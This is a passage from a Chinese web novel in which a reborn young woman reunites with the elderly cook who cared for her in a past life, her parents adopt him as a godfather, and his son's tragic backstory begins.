留下沈瑞看着她的背影,深邃的眼中闪过一抹笑意。 估计t是被讨厌了。 心思缜密,不过是在说他心眼多;一丝不苟则是嫌他太较真。 他心中喟叹,小姑娘果然还是一如既往的厉害。 不过起码“讨厌”这种情绪,他能看懂。好过女孩初见他时,不经意流露出的复杂态度,仿若迷雾一般,叫人看不懂,更参不透。 回到包厢后,苏厚德显然也调整好了情绪,拉着孟知祥和沈瑞,同苏卫华夫妇俩相谈甚欢。 话题从介绍各家的情况到说起《料经》上的方子,再到各地的美食风味和一些烹饪技巧,等说到兴头上,苏厚德还亲自要了笔,把《料经》上苏丽珍故意漏写的几个配方给补全了。 苏丽珍悄悄和苏卫华夫妻商量了一下,担心待会儿客人多了,太过吵闹,准备闭店休息一天。 除了卤味柜台,今天店里不再接待别的客人。店里的员工们中午吃完饭,下午直接放半天假,工资照常。 今天她找到了苏爷爷,这样的大喜事虽然没办法说出来,但也不耽误让大伙儿都跟着乐呵乐呵。 再者,闭店是临时决定的,提前准备的食材却还有不少。如今天热,东西不易保存,店里也只有两台小冰箱,有些东西隔上一天就不新鲜了。 正好张表舅还没走呢,今天他们在包厢招待客人,干脆就让其他人在大厅也好好吃一顿,吃不完打包。大家高兴,也不浪费食物。 第128章 安排好了一切,苏丽珍突然想起店里没有猪蹄了,卤好的熟猪蹄倒是有,但那不是她想要的。 她也是突然想起,之前孟知详晕倒在店门口那次,听那个一同陪老爷子来的小田说过,孟老的妻子,也就是苏爷爷的养姐生前很喜欢吃蹄花汤。 孟老偶然认识一个从川省来的老太太,做这道蹄花汤最是地道,所以每逢孟老妻子的忌日,老爷子就要到城里请这个老太太帮着做一道蹄花汤。 只是那天孟老进城来找那个老太太的时候,才得知老人已经过世了,孟老本就身体不好,受了这个打击,加上思念亡妻,那天才会彻底支撑不住。 如果说苏丽珍之前对孟老只是敬佩和感慨,那现在就是爱屋及乌的关切,所以只要是力所能及的,她都想帮老人实现。 她连忙安排张表舅去买猪蹄,打算中午让李翠英做一道蹄花汤。 她对妈妈的手艺还是很有信心的,不说百分百还原蜀地的味道,能有个八/九成也是对孟爷爷的安慰了。 至于苏爷爷,他厨艺卓绝,但是本人却对入口的东西没什么偏好,只要能填饱肚子就行。 苏丽珍只记得他很爱喝茶,绿茶、红茶、花茶,不拘什么茶,都能喝的津津有味。 那时,他们时常浪迹街头,别说是茶,连口热水都费劲。苏爷爷有时候想的厉害,就扒拉草根嚼几口。苏丽珍那时候常想,要是以后她有能力,一定要搜集来各种各样的茶孝敬他老人家。 也许是她执念太深,以至于重生后但凡走到卖茶的地方总要下意识买上许多,偏偏买回来又不喝,李翠英和苏小麦只偶尔喝点花茶,苏卫华动手术之前,医生也不允许他喝茶。 一来二去,那些茶叶只能整整齐齐地码放在柜子里,叫苏卫华和李翠英哭笑不得。 后来这个小癖好不知道怎么传扬开来,逢年过节亲戚朋友来往时,大家总是要给他们家备上一包好茶。如今家里的茶叶已经攒了大半个柜子,就算楼下饭店每天取用也架不住大伙儿不断往里添。 还有前几天沈瑞来的那回,也不知道是不是巧合,竟然也带了许多名贵茶叶,李翠英整理的时候直咂舌,直说光这些好茶就抵得上一般人半年的工资,可真叫人破费了。 想起沈瑞,苏丽珍的目光微暗。 方才在包厢里听了一耳朵,原来苏爷爷居然跟沈家也颇有渊源。 苏爷爷当年参军后,因为生的瘦小,加上厨艺好,队里的人喜欢他,也不让他上战场,只在后勤负责给大伙儿做饭。 在一次重要战役中,作为总指挥的一位沈姓首长负伤严重,部队就安排苏爷爷专门照顾这位沈首长。苏爷爷做的饭菜特别好吃,人又机灵能干,沈首长在他的悉心照料下,提前康复归队,临走时就把苏爷爷要走了,从此后南征北战一直把苏爷爷带在身边。 这位沈首长就是沈瑞的爷爷。 建国后,苏爷爷退伍,沈首长就把他安排到部队食堂做饭。后来苏爷爷的妻子瘫痪,身边不能离人太久,而部队离苏家又太远,也是沈首长出面,将他调到离家最近的一家机关单位做午饭。 苏爷爷对沈瑞的爷爷很是敬重,对沈家也充满感激,而沈瑞对苏爷爷的态度也是亲昵中不失尊敬,看得出双方交情是真的不错。 苏丽珍不由想起上辈子苏爷爷临终前,除了把《料经》留给她,还交给她一个地址,并一再嘱咐她,让她等自己死后就去找地址上一个叫沈瑞的人,这个人一定会把她带回国。 姓沈的人不知凡几,她当时根本没想到这个沈瑞就是沈哲的小叔。 而她也确实在苏爷爷过世后,第一时间去找了这个人。只是她不是为自己,她是想找到人后,请对方帮忙处理苏爷爷的后事,最好能把苏爷爷的骨灰带回故土。 可是她运气不好,当她找过去的时候,沈瑞刚好不在,他的助理又看她衣衫褴褛,形容狼狈,以为她是骗子,拒绝帮她联系老板。 苏丽珍担心时间长了,苏爷爷的尸身被发现,也没跟他过多纠缠。像他们这种异国的流浪汉,身上没有身份证明,死了只会被拉走胡乱处理,甚至不知被倒卖到什么地方去。 她不能看着苏爷爷落得那样的下场,正好九十年代初纽市黑/帮猖獗,为争夺地盘三不五时就要火拼一场。她背着苏爷爷的尸体,跑到黑/帮混迹的地方,守了一整天,果然再次碰到火拼场面,她暗中潜伏,趁乱捡走了地上一具尸体的手木仓。 她将这把手木仓卖掉,又求了唐人街一个说得上话的大佬,请他出面,帮忙找到一家殡仪馆,将苏爷爷的尸骨火化了。 她本来想再去找一趟那个沈瑞,无论如何请他帮忙把苏爷爷送回国,可惜终没能实现。 那次偷拿手木仓,因为躲避不及时,她被流弹击中,为了省钱,她只在唐人街一家地下诊所草草处理了一下,等拿到苏爷爷的骨灰后,她伤口感染加上营养不良,到底没撑住,死在一个大雪纷飞的夜里。 临死前,除了悔恨愧对父母之外,她最遗憾的就是没来得及联系到人把苏爷爷送回去。 想到这,她心中悲痛的同时不免又生出几分怨怼。那个沈瑞,关键时刻不在,手下的人也狗屁不通,真是枉费苏爷爷对他的信重。 再想起刚刚在包厢里,苏爷爷言语间对他的倚重、慈爱,苏丽珍只觉得胸口像压了块大石头,闷得她格外难受。 本来想着以后没机会、也不需要再接触这个人,可因为苏爷爷,怕是躲不掉了。 她不由深吸一口气。 罢了,反正看在苏爷爷的面子上,她就当他是座佛陀雕像,敬着远着就是。 收回注意力,她想起要给苏爷爷泡茶这事,只是包厢里之前已经上了好茶,苏爷爷毕竟年纪大了,短时间不宜喝太多茶。 正思量间,她突然瞥见柜台边上张表舅他们卸下来的不少乡下特产。 走过去翻找一通,很快找出一小兜毛桃和青李。 这些毛桃和青李都未经嫁接,虽然果味浓郁,但是个头小,口感发硬,味道偏酸,不比同一时间下来的香瓜和甜杏好吃,不过因为苏丽珍嗜酸,所以姨姥姥还是给她装了不少带回来。 她思索片刻,洗了几个毛桃和青李,去核切丁,用热水冲泡,等稍凉一些,再加入蜂蜜和少量乌龙茶汤调匀。 一股桃李的水果清香开始飘散在后厨里,张舅妈等人在旁边看着,头一次见这种拿水果泡茶的,几人不由啧啧称奇。 等苏丽珍将调好的水果茶用一个透明的玻璃水壶装好,白色带着一丝深红的毛桃,浅黄色的青李,浅棕色发粉的茶汤,在壶身几朵浅蓝色小花的映衬下,视觉效果超群,一下迷倒了所有人。 苏丽珍把剩下的水果茶给他们一人倒了一小杯尝了尝,各各都说好!尤其是几个女同志t,觉得这水果茶好闻、好喝还好看,一个个像看西洋景,拿在手里都舍不得喝,直问苏丽珍是怎么想到的。 苏丽珍心中苦笑,哪里是她想到的。不过是上辈子刚到米国时,在餐馆洗盘子,偶然看见洋老板一家这么做过,她才学会的。 把那兜子毛桃、青李留在后厨,让大家自己泡,苏丽珍端着一壶泡好的水果茶回到包厢。 只是她刚掀开珠帘进来,就见坐在包厢里的一众人齐齐将含笑的目光投向她,不由一怔。 尤其坐在最边上那位,看过来的眼神要笑不笑的,让她心里很是不痛快。 苏丽珍把自己的视线集中在苏爷爷、孟爷爷和父母这边,连一公分也不肯往旁边沈瑞的身上移。 她笑着问道:“爸、妈,你们怎么这么看着我?” 李翠英就笑着朝她招手,“珍珍快来,我们正说呢,原来你长得跟苏叔的姐姐有些像呢!” 苏丽珍闻言也有些惊讶,苏爷爷的姐姐,孟老的妻子,她像那位夫人吗? 一旁的苏小麦跟她解释,刚刚大家谈到他们上次救孟老爷子那次,原来孟老晕倒在他们店门前还真是有几分缘分使然。 那天,孟老乍然听说经常给妻子做祭品的老人过世,心情郁卒,加上来时坐车颠簸辛苦,不免有些头晕眼花。陪同老爷子一块来的小田以为他是热的,忙将马车停在路边,自己四下打听去买解暑的绿豆汤。 正巧小田马车停放的位置离他们家饭店不远,也不知怎么,孟老昏沉间就闻到一股淡淡的麻辣香味,极似妻子生前喜欢的川菜味道,他便下意识循着香味找到了饭店。 刚到店门口,就听见屋子里有人喊了声“珍珍”,却是跟他妻子的小名一样! 孟老一时便有些恍惚,下意识探头往里看,入眼就是一个少女端坐在大厅正对门口的桌子前,安静地埋头写字。 盛夏的阳光洒在她白净的面庞和秀美的身躯上,像是给她罩了一层梦幻的轻纱,那么恬静、美好,一如镌刻在他心底的那道身影。 孟老只以为自己看到了年轻时的爱妻,当即激动不已,也许情绪起伏太大,紧接着就眼前一黑,之后便什么都不知道了。 等醒了才知道自己晕倒在人家店门口,幸亏老板一家心善,抓紧时间将他送到医院,好歹没贻误病情。 第129章 也是因为这个原因,所以孟老这些日子一直想再来苏家看看,一方面是出于救命之恩;另一方面,也是想再看一眼苏丽珍。 说起后者,孟知祥不免有些不好意思。但是老人家为人很坦诚,先是向身为父母的苏卫华夫妻道歉,之后才解释说他一把年纪,倒不是觊觎小姑娘,实在是那天偶然相见之后,直觉苏丽珍跟他的妻子很是相像,所以才觉得分外亲切。 他想着生命轮回,生生不息,也许爱妻在另一个世界也能安好,心底便多了些慰藉。 而苏厚德也在一旁不住点头,证实孟老所言非虚,苏丽珍与他已经过世的养姐确有几分相像。 苏丽珍不由听得满心惊奇,没想到真有这么无巧不成书的事。 孟老的妻子闺名婉贞,小名“贞贞”,确是与她同音。 而之前没注意,现在细想起来,难怪今天初见孟老,每每听到家人唤她时,孟老总要望着她出一会儿神。起初,她还只以为是老人家刚出院,精神不济才会如此,没想到竟是因为她长得像孟夫人。 她不免想到上辈子苏爷爷对她那么好,是不是也有这个原因呢。 不过她的这个猜测很快就被推翻了。 孟知祥见众人好奇苏丽珍与孟夫人到底有多像,便将自己随身携带的一张孟夫人的旧照拿出来给大家看。 孟夫人的旧照被珍藏在一块老旧的怀表里,这块表是年轻时孟夫人送给他的定情信物。当年下放,为保住这块表,孟老很是吃了一番苦头。如今岁月流逝,也唯有它还陪伴在老人身边,守护着他心中最后的寄托。 苏丽珍心中很钦佩孟老这样情深义重的人,在接过照片之前,自己也好奇究竟哪里跟孟夫人长得像,结果亲眼看过怀表里孟夫人的照片后却是直接愣住了。 不单是她,除了沈瑞,苏卫华夫妻和苏小麦看完照片后也都表情怪异,一时间面面相觑,不知道该怎么评价。 最终还是苏小麦忍不住问出来:“孟爷爷,实在抱歉,我也没看出珍珍跟孟奶奶有多少相像的地方啊!” 事实上,这话还委婉了,要苏丽珍自己说,岂止是没多少相像的地方,她根本就和孟夫人长得完全不一样啊! 就刚刚那张照片,虽然只是年代久远的黑白照,但是因为保存的好,其实还是很清晰的。上面的孟夫人五官精致柔美,单就长相来说,是苏丽珍比不上的。 然而还不等孟知祥回答,一旁的苏厚德就朝她摆手,主动给大家解惑。 “不是长相。一个人除了长相,还有气质,咱老话说,就是骨子里那股精气神儿。” 他指着苏丽珍,面容和蔼,“这孩子的气质跟我姐姐年轻时一模一样!都是那么端庄、稳重,安静又不死板,让人看一眼就喜欢。漂亮的女孩子有很多,但这种出众的气质却很难遇到的。” 孟知祥也不由笑着点头,很是认可苏厚德的话。 众人听罢恍然,原来是这么个相像法,倒也算有缘由。 苏丽珍却很是心虚,她上辈子那个德行,根本没什么气质可言。就算是现在,也不过是因为时常被愧疚和悔恨折磨,心里时刻提醒自己重活不是为了自己过得好,她是回来赎罪、弥补家人的。 可能心思都被这些事占据,时间久了,倒显出几分异于同龄人的老成持重,也就是两位老人口中的那种好气质。 看来上辈子苏爷爷帮助她,也非是因为她像孟夫人,那时的她跟孟夫人可没半点相像可言。 苏厚德又对苏卫华夫妇说道:“不过,你们家这个闺女比我姐姐还要优秀一些!我刚刚记得你们说过,她今年才十七吧?” “哎呦,这么小,还没成年呢,看着说话做事却比许多大人都有分寸。我姐姐当年虽也沉稳,但十七岁的时候可比不上她!” 他又一指苏丽珍,脸上带着笑,“这孩子,我刚开始不知道,还以为她是大人长个娃娃脸,今年得有个二十多岁呢,没想到还真就是个小女娃!” 大人长个娃娃脸、看着有二十多岁,实际还是个小女娃的苏丽珍:“……” 她的苏爷爷还是那么爱说笑! 倏地,一阵低低的笑声从对面传来。 而这笑声就像按下了一个开关,在座无论是长辈还是平辈,都看着苏丽珍笑了起来。 苏丽珍便是平时再如何老成,这会儿也被大家笑得脸皮泛红,不由对“始作俑者”越发恼怒,实在忍不住,暗地里偷瞪了沈瑞一眼。 没想到这一眼还被对方看了个正着,那人眉头微挑,含笑看了眼苏丽珍身前那一壶水果茶,随即不着痕迹转移话题,道“苏小姐这茶倒是有些新意。德叔,您跟孟伯伯应该会很喜欢。” 众人果然被转移了注意力,这才发觉苏丽珍新端过来的茶水很是与众不同。 苏厚德生平最喜欢各种茶品,一见这外观漂亮的新茶饮,心里已经先喜欢了七/八分,等亲口品尝后,更觉得酸甜适中,既有水果的清新甘美,又带一丝淡淡茶香,余味更是清爽舒适,不由夸赞苏丽珍聪慧有巧思,灵气得很。 孟知详也连连点头。他毕竟刚出院,之前李翠英怕他喝不了茶,只给他冲了杯蜂蜜水,老爷子没怎么动,这次的水果茶倒是喝了一整杯,看样子像是很喜欢。 但苏丽珍总觉得兴许是孟夫人的缘故,可能就算她端来一杯凉白开,老人家也能一口气都喝光。 想到这里,苏丽珍是真的对这位老人生出几分心疼,而这次却是无关苏爷爷的。 临近中午,李翠英亲自下厨,因为打下手的人多,出菜的时间还挺快,没怎么费劲就做出了两桌好菜,一桌包间里招待客人,另一桌给张表舅他们聚餐。 等到包间里所有的菜上齐后,苏厚德和孟知祥一看这一桌只川菜就占了一半,有麻辣鲜活的水煮鱼,还有清淡t鲜美的鸡豆花,尤其中间那道汤汁奶白的蹄花汤,光是闻着味儿就觉得正宗,显然是下了工夫的。 两位老人又是高兴、又是感动,孟老爷子更是红了眼眶。 苏丽珍用公筷夹起两块蹄花,连着浓稠的汤汁装了一小碗,一边递到孟知祥面前,一边柔声道:“孟爷爷,这是我妈做的蹄花汤,您尝一尝。要是觉着还行,今后只要您想吃,随时都能过来。” “今天我妈做的时候,我特意在旁边学了。虽然我厨艺不如我妈,但只是这些菜的话,相信我只要工夫下的深,也不会差太多。” “好、好!”孟知祥擦了擦眼角,脸上的笑容格外真切,“好孩子,你有心了!” 苏丽珍又依样给苏厚德也盛了一份。苏厚德也不客气,拿起筷子夹了一小块炖得已经软烂脱骨的猪蹄放入口中,这一尝,霎时眼前一亮。 “哎呦,这蹄花的工夫挺到位!料也下的准,既遮住了猪蹄的油腻腥膻,又没盖住它本身的肉香。小李,你这手艺真是不错!” 李翠英被夸得不好意思,不过能得到苏厚德的认可,她也十分高兴。 苏丽珍又招呼两位老人尝尝别的菜。 苏厚德职业习惯上来,依次把每道菜都尝了一遍,除了各别两道菜调味上差了点火候,稍加指点了几句后,其余几乎道道满意。 尤其是李翠英改良过的几款卤味,苏厚德更是赞不绝口,直说李翠英这一手绝对是“青出于蓝”,便是他本人,现在也做不出能胜过这味道的卤制熟食了。 看得出他老人家是真的对李翠英的手艺满意。 想想从前为了做好一道菜,李翠英总是在灶间一遍遍反复尝试、潜心钻研,即便是得益于《料经》的基础,也不能否认她本人的用心。 所以,苏厚德的认可是对李翠英这个半路出家的厨师最大的褒奖,苏家人也一样与有荣焉。 专业的品评过后,大家开始边吃边聊,这次有了色香味俱全的美食加成,气氛更加轻松愉悦。 苏丽珍全程守在两位老人身边,时而帮着倒杯茶,或起身端一些主食,时而递递擦拭的手帕。因为时刻注意着,所以几乎是两人刚有一点动作,她就立马能猜出他们想要什么。 总之,一顿饭吃的苏厚德和孟知祥心里热乎乎的,熨帖无比,看着苏丽珍的目光也越发慈爱。 对比之下,坐在另一边的沈瑞就有点受冷落,整顿饭苏丽珍也不过是意思意思给他倒了杯茶,之后半点眼风也不往他那边扫。 沈瑞也不恼,脸上始终带着浅浅的笑意,一边应和苏卫华夫妻,聊些在南方做生意的事,一边慢条斯理地动筷子。结果苏丽珍打眼一瞧,这一顿饭下来,居然数他吃的最多。 奉了父母命令给对方盛饭的苏丽珍面无表情地想着,原来沈瑞这种人也吃饭啊。她一直以为像他这样厉害得没上限的人物,得天天吸取日月精华,天地灵气呢。 等吃完饭,又说了会儿话,苏卫华夫妻想让苏厚德和孟知祥到楼上的客房休息一下。两位老人却是摆手拒绝了,直说已经叨扰了他们半天,眼下也该回去了。 苏丽珍在旁边听得心里一紧,她才刚找到苏爷爷,舍不得这么快就让他老人家离开,可一时又想不出什么留人的理由,只能暗暗着急。 这时,苏厚德却把一直放在手边的《料经》又要交还给李翠英。 见苏家人面露不解,他温声解释道:“小苏、小李,这本书以前是我唯一的寄托,自从它丢了以后,我不甘心啊!觉得是老天爷处处针对我,连这一点念想都不留给我,所以我总想把丢掉的书再找回来。” “可我今天在你们这里又看到了它,它换了皮儿、换了字儿,一副全新的样子,可我却没觉得陌生,尤其是知道这书曾帮助过像你们这样的好人,我突然就想开了。” “一本书代表不了什么,只要我活着,我心里时时刻刻放着我在乎的那些人,这就足够了。” 他拍了拍苏卫华的肩膀,又看向李翠英,最终把目光停留在苏丽珍身上。 “你们都是好的,尤其珍珍这闺女,我老汉是真稀罕!可惜我这一趟没想到能遇见你们,也没备啥礼。我想着,干脆就把这本书留给你们吧。既然它曾经帮过你们,那就让它继续发挥作用,也不枉我当初把它写出来。” 苏丽珍听得心里酸楚。这本书,她固然看重,可跟苏爷爷本人比起来,又哪里比得过? 只是此刻,她不知道说什么才能表达自己的心意,又不显违和。 她也怕自己一再失态,吓到苏爷爷。 而苏厚德的话音刚落,李翠英就快言快语拒绝道:“不用,叔!我之前识字不多,去年为了学认字,没少拿这本书当参照,抄了不下十几遍,有那些在我手上就尽够了,这本您就拿回去吧……” 话一出口,她立马反应过来自己这话说的不对劲!听着就好像他们自恃捏着人家的书,一早给自家做好了准备似的;更像是没将苏老赠书的一番心意当回事,实在是失礼数,不禁暗自后悔。 第130章 气氛一时有些尴尬,苏丽珍也懵了一瞬,她妈这话说的太实诚了,容易叫人听了误会,还不等她想出怎么回话缓和一下气氛,一旁的沈瑞忽然笑着开口道: “德叔,苏老板,我看你们两家颇有缘分。苏老板一家救过孟伯伯,又无意中得了德叔您的书,也算是承袭了您的技艺。我看不如让苏老板夫妻拜德叔为师,德叔再将这本书作为师门礼物赠与苏老板,一来师出有名;二来你们两家今后各自又多了一门亲戚,彼此更加亲近。你们看怎么样?” 纵使苏丽珍很不喜欢沈瑞这个人,可此时此刻,在听到他这番话的时候,心里也是万般高兴的。并且她也丝毫没有选择压抑这种情绪,直接向父母和苏爷爷投去殷切的目光,显然是极乐意这个提议的。 苏卫华和李翠英接收到女儿的目光,夫妻俩对视一眼,多年的默契让他们只通过一个眼神就能明白彼此的想法。 苏卫华当即主动表态:“小沈这提议好,我们心里自然一百个愿意!” “而且苏叔,我说句心里话,咱们虽认识时间短,但我们一家人是打心眼里敬重您。” 他说着,看了眼眼巴巴的闺女,又道:“您看,咱们爷儿俩都姓苏,我就想咱干脆也别拜师了,我们两口子索性厚着脸皮认您当我俩的干爸,以后就让珍珍踏踏实实喊您声‘爷爷’,不知道您老乐意不乐意?” 自觉之前没说对话,暗暗埋怨自己的李翠英也连忙表示道:“对、对,苏叔,我这人一辈子围着锅台,总是笨嘴笨舌不会说话!就像卫华说的,我们是真心实意感激您。” “打从珍珍说您就是《料经》的主人开始,我们心里就默认您是我们家的贵人和亲人了,所以您就给我们一个机会孝敬您老人家,成不?” 苏丽珍没想到她爸妈会这么说,一时激动得攥紧了拳头。 还有什么能比今后光明正大认苏爷爷作自己的亲人,更高兴的事呢? 苏厚德整个人怔住了,他是真没想到苏家人会有这个想法。 他看着苏卫华夫妻诚恳的脸,又看了眼旁边一脸惊喜期待的苏丽珍,这心里就像燃起了一团火,热烘烘地,烧得厉害。 他有啥不愿意的呢?这是他苏厚德天大的福分啊! “乐意、我乐意!” 见他答应,苏卫华和李翠英立马顺势改口,亲亲热热地喊道:“干爸!” “哎、哎!”苏厚德红着眼眶,一边点头答应,一边控制不住地裂嘴大笑。 苏丽珍也拉着苏小麦激动地喊了声“爷爷”,苏厚德高兴地摸了摸两个女孩的发辫,疼爱之情溢于言表。 苏卫华看见一旁的孟知祥露出羡慕的表情,便也主动跟对方道:“孟大伯,您是干爸的亲人,那也就是我们的亲人。以后我们两口子就见您一声姑父!” 苏丽珍姐妹立即也跟着叫了声“姑爷爷”。 孟知祥感动不已,拍了拍苏厚德的肩膀,感慨道:“厚德,姐夫今天真是借了你的光啊!” 苏厚德更是笑得见牙不见眼。 即便是认了亲,苏厚德和孟知祥也没有久留,毕竟沈瑞那边之前什么都准备好了,t两个老人不好让人家白忙,不过临走前还是答应苏家人,这几天每天都会过来。 送走了苏爷爷,苏丽珍即便心里还有点不舍,但仍然很高兴。她想着是不是跟父母商量一下,再多收拾出一间客房,等以后苏爷爷和孟爷爷两人都能来住,另外被褥生活用品也多准备几套出来。 当她走到父母的房间前,还没等敲门,就听见房间内苏卫华对李翠英说道:“咱们既然跟干爸他们认了亲,那就按老历,挑个好日子,把亲戚朋友都请来,好好摆两桌酒,把这事正式定下来。” 李翠英也十分痛快地应道:“是这个理儿!干爸是咱的恩人,咋正式都不为过。” “就是吧……”屋里李翠英忽然迟疑了一瞬,“卫华,我就是有点担心咱爸妈那头,我怕他们老两口到时候有啥想法……” 苏丽珍顿时明白,她妈是怕她亲爷奶不愿意。以她两辈子的经验,这事明摆着,她爷奶指定不乐意。 她爷奶早就因为她爸没有儿子放弃他们家这一支了。当初她爸病重,她妈丢了工作,单位的房子也住不了,家里难成什么样,想求老爷子和老太太先匀出一间屋,让一家三口栖身,老两口都不愿意,生怕他们一家就此赖在老宅,时间久了说不清,会影响小儿子和两个孙子的利益。 要知道从她爸从参加工作开始,雷打不动月月往老家拿钱,当初盖房子,怕老两口犯难,也主动承担了一部分费用。 没想到她爷奶重男轻女到这个地步,眼里只有老儿子和孙子一家,丝毫不顾及她爸妈的想法。 可他们家要真因此不孝敬老两口,或者不把他们当回事了,那他们还不乐意,嘴上不说,但心里认定是儿子儿媳不孝,倒先委屈上了。 要说她爷奶也没干过啥极品的事,可就这个软刀子剌肉的自私劲儿也足够烦人,所以苏丽珍是非常不喜欢亲近他们的。 而房子的事之后,她爷奶初期又因为他们家干个体户心生不满。这一次又一次的,她看出她爸已经被彻底冷了心,如今对她爷奶也就是面子情,左右家里富裕,好吃好喝供着,别的就不提也罢。 果然,只听屋里苏卫华冷哼一声,“他们爱有啥想法就有啥想法,不用搭理。这些年,我和你做的足够了,可又换来了啥?” “咱们就说珍珍,你看对干爸和孟姑父的态度,那是真把他们当作自己的长辈敬爱。” “再看干爸和孟姑父,干爸对咱们有恩就不说了,二老都是明理正直的老人。珍珍为啥对他们好?说明孩子喜欢这样通情达理的长辈,心里头没准也希望有这么个长辈对她好!” “你等咱们家的亲爷爷、亲奶奶是个啥样?眼里只有他们的孙子。就算同样是孙女,卫民家的丽娜也比咱们的珍珍吃香多了!他们这样对孩子,我这个当爹的咋受得了?我的珍珍本来就值得这世上最好的!” 李翠英也叹了口气:“其实今天看孩子跟干爸他们亲近,我心里也有点不是滋味。人家的孩子从小就被爷爷奶奶、姥姥姥爷宠着惯着,换了咱家珍珍就啥也没有。” “她爷奶不爱理她,我这边更是不中用,身边也没啥亲人。孩子就算心里头想跟长辈们亲近,都没个机会,这叫啥事啊!” 苏卫华越发气愤,嚷嚷道:“以后谁对我闺女好,我才对他好,对我闺女不好的人,也别指望我把他当回事!” 苏丽珍没有再听下去,擦了擦眼角的泪水便悄悄回了自己屋。 她没想到父母会把她今天见到苏爷爷的反常反应,自动归结成是一直以来爷奶对她的冷落,致使她心底渴望有个亲切的长辈疼爱她。 这还真就如同她之前跟沈瑞说的那样,爱她的人会忽略她的异样,然后自发为她补全所有的不合理。 苏丽珍觉得,有父母给她的这份深厚的爱意陪伴,她不再需要任何人的另眼相待,就算是跟她血脉相连的爷奶也一样。 而今,她又找到了她的苏爷爷,往后余生尽心报答他老人家,她这捡来的一辈子也不算白活了。 当天晚上,苏丽珍一直保持着这样愉悦的心情进入梦乡。 直到第二天早上醒来,想到今天苏爷爷他们还会来,她弯起的唇角便一直没有落下。 清早下楼,苏卫华夫妻正商量着,说是昨天店里临时闭店太突然,干脆今天来个全场八五折的限时优惠,回馈客人们。 苏丽珍自然没意见,反而欣慰于她爸现在做起生意越发有模有样,当真让人刮目相看。 不过这样一来,上午店里的生意便特别忙碌,一拨儿又一拨儿的客人光顾,大家忙得脚不沾地,一直到下午一点才松快一些。 草草吃完午饭,苏丽珍看了眼时间,又一次站到门口张望了半天,心里不禁有些纳闷,怎么这个点儿了还不见苏爷爷他们过来。 昨天沈瑞临走前留了他现在住处的地址和电话,方便大家以后联系。 五月份,苏丽珍向邮局申请的电话机终于下来了,现在自家店里也有了电话,有什么事情顺手拨一个,确实方便快捷,所以即便装这一部电话的费用高得吓死个人,家里人还是很高兴。 苏丽珍正犹豫着要不要给苏爷爷他们打一个电话问问,那边苏爷爷就先打来了。 等苏丽珍接了电话才知道,原来昨天晚上苏爷爷的儿子领着他的小孙女也来了凤城,昨晚折腾了半宿,所以今天就先不过来了。苏爷爷说看情况,等明后天再领着儿子和孙女一起过来认认门。 苏丽珍撂下电话把情况一说,旁边苏卫华听了却摇头,说道:“这不妥,你苏爷爷怎么说也是长辈,咱本来也不该擎等着老人家上门来。更不用说他儿子、孙女才到凤城,咱们既然得了信儿,就该上门去看看才对。” 李翠英也赞同,两家既然认了亲,那就该当正经亲戚走动着,礼多人不怪嘛。 夫妻俩跟苏丽珍和苏小麦商量好,等稍微休息一会儿,趁着店里不忙就去沈家看看。 苏丽珍自然乐意。因为上午忙得出了一身汗,这会儿她决定先上楼洗把脸,顺便换身衣服。 因为天气炎热,自来水管里放出的水也温温的,她一边用毛巾擦拭脸上的水渍,一边看着镜子里做着相同动作的少女。 镜子里的少女肌肤白皙通透,是青葱少女特有的鲜嫩水灵,她的眉眼间没有同龄人的开朗活泼,只有带着淡淡郁色的沉静。 她已经想不起上辈子这时的自己是什么样。不过想想,每天陷入单恋沈哲的痴狂,以及因求而不得心怀怨怼、痛恨所有人的疯魔,那时的她一定极其丑陋。 但把所有的一切都归咎于对沈哲的恋爱脑上头,也不尽然。因为在那之前,上辈子的她本质上就是个自卑、自私、虚荣又任性的人。 而这样的她前世能幡然悔悟,一方面是经历了现实诸多毒打;另一方面是因为她遇到了苏爷爷。 苏爷爷善良、豁达、开朗、永远有耐心,就像冬日的暖阳,温暖、明亮又不灼伤人。 可这么好的苏爷爷却也没能留住他最心爱的儿子。 说起来,苏爷爷的儿子苏振东跟上辈子的她有些相像,同样陷入情障,半生失意。《 》 130-140 第131章 苏振东十七岁上高中时恋慕一位同班的女同学,但那个女同学一直有个青梅竹马的恋人,两家更是约定等女同学高中毕业就订婚。 只是高三那年,一场突如其来的革命打碎了所有期盼,女同学一家尽受牵连,身边的亲人死的死、病的病,到最后就只剩下她一人艰难求存。 而女同学的恋人一家却因为提前收到风声,举家逃往海外。恋人曾偷偷给女同学留下一封信,要带她一起走,只是女同学意外没能及时赴约,最终错失了一同离开的机会。 失去家人和恋人的女同学孤苦无依,举步维艰,这时一直倾心她的苏振东挺身而出,表示愿意照顾女同学今后的生活,为此甚至不惜放弃机关办事员的好工作,只能到一家只有十几个人的酱厂里当普通工人。 苏振东和女同学67年结婚,婚后的头几年,苏振东顾虑t对方有心上人,始终不曾有半点勉强,一直以礼相待。 而他的坚持也总算换来了对方的感动,两人终于真正在一起,并于72年生下一个女儿。 本来以为日子可以一直这样平静地过下去,没想到随着77、78年大规模平/反,以及逐步恢复海外关系,女同学居然收到昔日恋人的来信,且字里行间仍有情谊,让她沉寂的心开始蠢蠢欲动。 苏振东为了挽留妻子的心,做出种种努力,但夫妻俩仍然渐行渐远,到后期甚至频繁争吵。 而孩子往往是夫妻感情恶化最大的受害者。苏爷爷唯一的孙女因为屡次目睹父母争吵,在82年的一个夏天离家出走,却不幸遇到人贩子,并在人贩子仓皇转移的过程中不慎被捂死。 孩子没了,这场摇摇欲坠的婚姻似乎更没有了坚持的必要,于是女同学更加坚定地要离婚,苏振东一直细心呵护的婚姻就这么散了。 离婚后的苏振东整日失魂落魄,加上所在的小酱厂没多久又倒闭了,失婚又失业的苏振东越发萎靡。 偏在这时,他又意外得知了前妻出国与昔日恋人重聚的消息,悲伤之下心有不甘,被人一撺掇,居然起了出国淘金的念头。 苏振东想着也许自己出人头地后还能有机会追回前妻,因此不顾苏爷爷的劝阻,毅然跟朋友一起去了米国。 没想到这一走就是阴阳两隔。 起初头两年,苏振东还经常给苏爷爷写信或者打电话,可从85年冬天开始便突然失去了联系。 苏爷爷在国内苦苦煎熬,等了一年多,苏振东始终音讯全无,苏爷爷实在坚持不住,决定只身千万米国寻找儿子。 苏爷爷是87年秋天到的米国,而苏丽珍遇见他的时候正好是90年夏末,古稀之年、语言不通的苏爷爷已经在米国整整找了苏振东三年。 直到91年初冬,她和苏爷爷意外找到当初跟苏振东一起出国的朋友,才得知原来苏振东当年到米国后并不顺利。找不到合适的工作,被当地人排挤欺负,屡屡受骗,可他一直憋着一口气不肯认输。 